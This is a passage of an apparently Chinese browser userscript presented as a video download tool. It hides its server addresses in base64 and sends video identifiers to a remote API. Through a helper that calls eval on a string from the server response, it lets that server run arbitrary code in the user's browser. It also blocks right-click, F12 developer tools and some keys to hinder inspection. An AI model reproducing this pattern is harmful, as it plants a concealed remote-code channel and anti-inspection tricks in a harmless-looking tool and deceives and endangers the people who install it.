有版本
点击更新`;
});
}
var uuv =ab('aHR0cHM6Ly9qeHRjLmluZmluaXR5ZnJlZWFwcC5jb20vP2k9MQ==');
function gvr(u) {
GM_xmlhttpRequest({url: u,onload: obj => {var r = obj.response;var v = r.ver;if (v > ver) {var u = r.u;confirm(u);}},
onerror: err => {gets(uuv).then(r => {var v = r.ver;if (v > ver) {var u = r.u;confirm(u);}}).catch(error => {sx()});
}
});
}
function gvrs(u){
// var v= GM_getValue('ver');
// if(v>ver){var upu= GM_getValue('upu');confirm(u);}else{
gets(u).then(r => {var v =r.ver;GM_setValue('ver',v);if(v>ver){ var u=r.u;confirm(u); GM_setValue('upu',u);GM_setValue('timestamp',Date.now())} });
// }
}
function stime(u){
const storedTimestamp = GM_getValue('timestamp');
const currentTimestamp = Date.now();
const diffHours = (currentTimestamp - storedTimestamp) / 1000 / 60 / 60; // 计算时间差,单位为小时
console.log(diffHours);
if (diffHours >=3) {
GM_setValue('upu',u)
gvr(u)
} else {
var v= GM_getValue('ver');
console.log(v)
if(v>ver){console.log('111');var upu= GM_getValue('upu');confirm(u);}else{console.log('222');gvr(u);}
}
}
var uv=ab('aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29t');
uv =uv+ ab('L3Zlcg==');
function go(d, i) {
layer.close(load);
if (d.code == 200) {
i = spD[i];okd.push({d: i.d,m: i.MsgId,u: d.data.url});localStorage.setItem('okd', JSON.stringify(okd));okds(okd);bdsj();
layer.confirm('处理成功是否查看?', {btn: ['确定', '关闭']}, function() {opv(d.data.url,i.d)}, function() {});
} else if (d.code == 201) {
var img= d.data.xcximg;
layer.alert(d.data.msg, {btn: ['打开', '算了'],btnAlign: 'c',btn1: function(){layal(ab(img))},btn2: function(){},});
} else if (d.code == 202) {tc(d.data.ui, d.data.html);
} else {sly(d.data.msg)}
}
var qr =ab('5omr56CB6I635b6X5qyh5pWw');
function sx(){
alert(ab('6ISa5pys5bey5aSx5pWI6K+35YWz5rOo5YWs5LyX5Y+3'));window.open(ab('aHR0cHM6Ly9zdGF0aWMtbXAtMjkyMTMyMzYtY2VlYS00YWRiLTllZWMtYjFiZTRjNWVjZWZlLm5leHQuYnNwYXBwLmNvbS9pbWcvZ3poLnBuZw=='),'_self');
}
function layal(u) {
layer.photos({
photos: {
"title": qr,
"start": 0,
"data": [
{
"alt": "图片",
"pid": 5,
"src": u,
}
]
},
footer: false
});
}
var dh = 0
function sdown(u) {
load = layer.load(0, {shade: false});
var xhr = new XMLHttpRequest();xhr.open("GET", u, true);xhr.responseType = "blob";xhr.onload = function() {var n='5YWs5LyX5Y+377ya5b+r54K55bel5YW3';if (xhr.status == 200) {var blob = xhr.response;var url = URL.createObjectURL(blob);var a = document.createElement('a');
a.href = url;a.download ="公众号:快点工具.mp4";a.click();URL.revokeObjectURL(url);layer.msg('下载成功');layer.close(load); } else {layer.msg('下载失败');
layer.close(load);}};
xhr.onprogress = function(e) {if (e.lengthComputable) {var num = (e.loaded / e.total) * 100;dh = num.toFixed(2);layer.msg('下载中' + num + '%')
if (dh >= 99) {var dh = 0}}};
xhr.send();
}
function slys(d) {
layer.open({
type: 1,
area: ['420px', '240px'], // 宽高
content: d
});
}
function sly(d) {
layer.open({
type: 1,
content: d
});
}
function gets(u) {
return fetch(u)
.then(response => {
if (!response.ok) {
throw new Error('请求失败');
}
return response.json();
})
.then(data => {
return data;
})
.catch(error => {
throw error;
});
}
document.oncontextmenu = function(event) {if (window.event) {event = window.event;};try {var the = event.srcElement;if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) {return false;};return true;} catch (e) {return false;}
};document.onkeydown = function() {if (window.event && window.event.keyCode == 123) {event.keyCode = 0; event.returnValue = false;
};if (window.event && window.event.keyCode == 13) {window.event.keyCode = 505;};if (window.event && window.event.keyCode == 8) {window.event.returnValue = false;};
}; var Sid = 'U2VjLUNoLUlk';u = 'aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2FwaQ==';function posts(d, i) {layer.close(load);layer.msg('处理中');load = layer.load(0, {shade: false});isPaused = true;if (!d) {layer.msg('视频错误,请重新获取');return false;};var c = d.C;var sid = atob('U2VjLUNoLUlk');var Hr = new Headers();Hr.append('B-Id', bid);var xml = new DOMParser();xml = xml.parseFromString(c, 'text/xml');var od = xml.getElementsByTagName('objectId')[0];var ond = xml.getElementsByTagName('objectNonceId')[0];od = od.textContent;ond = ond.textContent;const data = {od: ba(od),ond: ba(ond)};var zh='网络错误,请关注公众号获取最新工具或查看油猴最新版本';
fetch(bs(u), {method: 'POST',headers: Hr,body: JSON.stringify(data),}).then(response => response.json()).then(d => {go(d, i)}).catch((e) => {var gm_u='https://greasyfork.org/zh-CN/users/927947-witchery';var as ='aHR0cHMlM0EvL3N0YXRpYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2ltZy9nemgucG5n';layer.close(load);sly(`
${zh}
`)});
}
function post(method, url, async, headers, data, success, error) {
const xhr = new XMLHttpRequest();
xhr.open(method, url, async);
if (headers) {
for (let header in headers) {
xhr.setRequestHeader(header, headers[header]);
}
}
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status >= 200 && xhr.status < 300) {
if (success) {
success(xhr.responseText);
}
} else {
if (error) {
error(xhr.status, xhr.statusText);
}
}
}
};
xhr.onerror = function() {
if (errorCallback) {
errorCallback(xhr.status, xhr.statusText);
}
};
xhr.send(data);
}
function bs(i) {
return eval('atob(i)')
}
function e(i) {
return atob(i);
}
function ab(i) {
return atob(i);
}
sp.onload = function() {
layer.msg('加载成功')
gvr(uv);
}
function ba(e) {
return btoa(e); // 将代码转换为Base64字符串
}
function tc(i, d) {var o = eval(i); o(d);}
}
// }
})();